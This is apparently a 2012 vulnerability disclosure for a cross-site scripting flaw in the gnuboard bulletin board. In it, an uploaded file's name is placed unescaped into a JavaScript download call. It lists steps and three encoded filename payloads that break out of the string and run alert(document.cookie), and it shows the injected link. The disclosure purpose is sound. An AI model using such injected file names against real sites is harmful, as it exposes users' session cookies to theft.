# Exploit Title: gnuboard <= 4.34.20 XSS vulnerability via arbitrary file name # Date: 2012-03-12 # Author: wh1ant # Software Link: http://sir.co.kr/bbs/board.php?bo_table=g4_pds&wr_id=7108 # Version: gnuboard <= 4.34.20 # Tested on: windows 7 Ultimate K # Company: trinitysoft # Group: secuholic 1) Vulnerability Description gnuboard is a widely used open source bulletin board in Korea gnuboard is affected by XSS vulnerability which allow an attacker to send a malicious script to an unsuspecting user. 1) you can upload a file (e.g. a.txt) to the BBS. 2) you can download it from the following scripts and figure out what's working on. ### vulnerable code ######################################################################################################################### javascript:file_download('./download.php?bo_table=test&wr_id=13&no=0&sca=&sfl=&stx=&sst=&sod=&spt=0&page=0', 'a.txt'); ############################################################################################################################################# 3) you can also upload a file with name of XSS code. The following is the example. - ');alert(document.cookie);// - %27);alert(document.cookie);%2f%2f - %27%29%3b%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%2f%2f ### vulnerable code ######################################################################################################################### javascript:file_download('./download.php?bo_table=test&wr_id=13&no=0&sca=&sfl=&stx=&sst=&sod=&spt=0&page=0', '');alert(document.cookie);//'); ############################################################################################################################################# 4) The example file works by pulling in the Javascript and running it as part of the Javascript.